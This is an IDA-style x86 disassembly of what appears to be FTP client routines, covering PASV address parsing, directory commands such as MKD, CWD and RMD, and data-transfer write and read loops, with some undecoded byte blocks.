var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42D8A4
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42D5E2
		cmp	eax, 2
		jz	short loc_42D5E2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		call	near ptr 77C3F931h
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D5E2:				; CODE XREF: sub_42D580+3Aj
					; sub_42D580+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42D614
		cmp	eax, 49h
		jz	short loc_42D614
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		call	near ptr 77C3F931h
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D614:				; CODE XREF: sub_42D580+6Cj
					; sub_42D580+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42D6F9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42D8A4
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		call	near ptr 77C47660h
		nop
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42D8A4
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		nop
		call	near ptr 77C41B72h
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_436F3C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 50684D75h, 90004454h, 809709E8h,	4C48377h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42D6F9:				; CODE XREF: sub_42D580+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_436F2A
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44557068h, 0D7E89000h, 83778096h, 0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 45E85700h,	83000098h, 0A75FFF8h, 44544068h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 981FE8h, 0FFF88300h, 40680A75h, 0E9004454h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 445240h, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44556868h
		dd 5610EB00h, 9760E857h, 0C0850000h, 6068217Dh,	0E8004455h
		dd 77809626h, 4C48390h,	9730E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 37E85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 44554468h, 0E8905200h,	778120DDh
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 3CE89056h, 8B777FE8h, 8C483F0h, 2275F53Bh, 44543868h
		dd 57E89000h, 83778095h, 0E85704C4h, 9662h
; ---------------------------------------------------------------------------


loc_42D8A4:				; CODE XREF: sub_42D580+2Bj
					; sub_42D580+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42D580	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 40E89000h, 83777FEBh, 0C53B04C4h
		dd 75144689h, 5438682Ch, 0E8900044h, 77809516h,	5704C483h
		dd 9621E8h, 30E85600h, 90777FE9h, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA60	proc near		; CODE XREF: sub_42D2C0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42DAA2
		mov	ecx, eax


loc_42DAA2:				; CODE XREF: sub_42DA60+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_436F12
sub_42DA60	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 0E8000001h,	777F17F8h, 50008B90h, 972CE890h
		dd 0C4837780h, 44C68304h, 0B5E85650h, 9077819Fh, 83084B8Bh
		dd 0E8510CC4h, 941Eh, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455D0BEh, 0A4A5F300h
		dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h
		dd 0F88B0000h, 1762E890h, 108B777Fh, 5008438Bh,	14245489h
		dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780966Ah
		dd 8304C483h, 565044C6h, 9EF2E890h, 0C4837781h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A1E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DC70	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42DC81
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DC81:				; CODE XREF: sub_42DC70+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DC9D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42CC50
		add	esp, 0Ch
		jmp	short loc_42DCC4
; ---------------------------------------------------------------------------


loc_42DC9D:				; CODE XREF: sub_42DC70+17j
		call	sub_42CE80
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42DCAF
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DCAF:				; CODE XREF: sub_42DC70+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436EFA
; ---------------------------------------------------------------------------


loc_42DCC4:				; CODE XREF: sub_42DC70+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DCD0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DCD0:				; CODE XREF: sub_42DC70+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42DD0F
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42DD0F
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42DD0F
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42DD08
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD08:				; CODE XREF: sub_42DC70+93j
		mov	dword ptr [esi+40h], 0


loc_42DD0F:				; CODE XREF: sub_42DC70+6Fj
					; sub_42DC70+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DC70	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DD50	proc near		; CODE XREF: sub_4021F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42DD61
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD61:				; CODE XREF: sub_42DD50+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DD7D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DE20
		add	esp, 0Ch
		jmp	short loc_42DD9A
; ---------------------------------------------------------------------------


loc_42DD7D:				; CODE XREF: sub_42DD50+17j
		call	sub_42CE80
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436F00
; ---------------------------------------------------------------------------


loc_42DD9A:				; CODE XREF: sub_42DD50+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DDA6
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DDA6:				; CODE XREF: sub_42DD50+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42DDDC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42DDDC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42DDDC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42DDDC:				; CODE XREF: sub_42DD50+63j
					; sub_42DD50+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DD50	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE20	proc near		; CODE XREF: sub_42DD50+23p
					; sub_42DFD0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42DE3C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DE3C:				; CODE XREF: sub_42DE20+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42DF64


loc_42DE4D:				; CODE XREF: sub_42DE20+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42DE8E
		cmp	al, 0Dh
		jz	short loc_42DE8E
		cmp	esi, 2000h
		jnz	short loc_42DE89
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	short loc_42DEEA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_436F00
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DEF1
		xor	esi, esi


loc_42DE89:				; CODE XREF: sub_42DE20+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42DE8E:				; CODE XREF: sub_42DE20+35j
					; sub_42DE20+39j
		cmp	esi, 2000h
		jnz	short loc_42DEBC
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	short loc_42DEEA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_436F00
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DF11
		xor	esi, esi


loc_42DEBC:				; CODE XREF: sub_42DE20+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42DE4D
		test	esi, esi
		jz	loc_42DF64
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jnz	short loc_42DF31


loc_42DEEA:				; CODE XREF: sub_42DE20+4Ej
					; sub_42DE20+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DEF1:				; CODE XREF: sub_42DE20+65j
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF11:				; CODE XREF: sub_42DE20+98j
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		call	near ptr 77C4186Ah
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF31:				; CODE XREF: sub_42DE20+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_436F00
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 1372E890h, 108B777Fh, 0F8685752h,	90004455h
		dd 813911E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42DF64:				; CODE XREF: sub_42DE20+27j
					; sub_42DE20+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42DE20	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DFD0	proc near		; CODE XREF: sub_401BDBj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42E04B
		dec	eax
		jz	short loc_42E000
		dec	eax
		jz	short loc_42DFEC


loc_42DFE4:				; CODE XREF: sub_42DFD0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DFEC:				; CODE XREF: sub_42DFD0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42E000
		push	esi
		push	0
		push	0
		call	sub_42DE20
		add	esp, 0Ch


loc_42E000:				; CODE XREF: sub_42DFD0+Fj
					; sub_42DFD0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_50FAC4
		test	eax, eax
		jz	short loc_42E014
		push	eax
		call	ebx	; free
		add	esp, 4


loc_42E014:				; CODE XREF: sub_42DFD0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_436F9C
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_436F06
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx	; free
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42DFE4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42CB10
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E04B:				; CODE XREF: sub_42DFD0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42E062
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BDB
		add	esp, 4


loc_42E062:				; CODE XREF: sub_42DFD0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_436F06
sub_42DFD0	endp

; ---------------------------------------------------------------------------
		db 56h
		db 90h
		db 0E8h, 0A9h, 0E1h
; ---------------------------------------------------------------------------
		jg	short loc_42E0E9
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E0B0:				; CODE XREF: ___:00401CE4j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E0D9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E0D9:				; CODE XREF: ___:0042E0D0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		call	near ptr 77C3F931h


loc_42E0E9:				; CODE XREF: ___:0042E070j
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E130:				; CODE XREF: ___:004016C2j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E151
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E151:				; CODE XREF: ___:0042E14Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42E16C


loc_42E15F:				; CODE XREF: ___:0042E16Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42E16C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42E15F


loc_42E16C:				; CODE XREF: ___:0042E15Dj
					; ___:0042E163j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E1A0:				; CODE XREF: ___:0040224Dj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E1C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E1C9:				; CODE XREF: ___:0042E1C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E220:				; CODE XREF: ___:0040225Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E249
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E249:				; CODE XREF: ___:0042E240j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2A0:				; CODE XREF: ___:00401780j
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42D1A0
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2D0:				; CODE XREF: ___:004021FDj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E2F9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E2F9:				; CODE XREF: ___:0042E2F0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E350:				; CODE XREF: ___:0040166Dj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_4456BC
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E371
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E371:				; CODE XREF: ___:0042E36Cj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E387
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E387:				; CODE XREF: ___:0042E382j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42E3A5


loc_42E393:				; CODE XREF: ___:0042E3A3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42E3A5
		cmp	cl, 22h
		jz	short loc_42E3A5
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42E393


loc_42E3A5:				; CODE XREF: ___:0042E391j
					; ___:0042E397j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E3D0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E400	proc near		; CODE XREF: ___:0042E3E3p
					; ___:0042E663p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42E48A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4456FC
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42E43A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42E43A:				; CODE XREF: sub_42E400+33j
		cmp	edi, 49h
		jnz	short loc_42E444
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42E444:				; CODE XREF: sub_42E400+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42E4A4
		push	100h
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		nop
		call	near ptr 77C371FAh
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E48A:				; CODE XREF: sub_42E400+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42E49B
		mov	ebx, dword_50FA84
		jmp	short loc_42E4A4
; ---------------------------------------------------------------------------


loc_42E49B:				; CODE XREF: sub_42E400+91j
		mov	edx, dword_50FA84
		lea	ebx, [edx+20h]


loc_42E4A4:				; CODE XREF: sub_42E400+57j
					; sub_42E400+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F55
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42E4C7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E4C7:				; CODE XREF: sub_42E400+BFj
		push	2000h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42E53D
		mov	ebp, dword_50FAA4
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
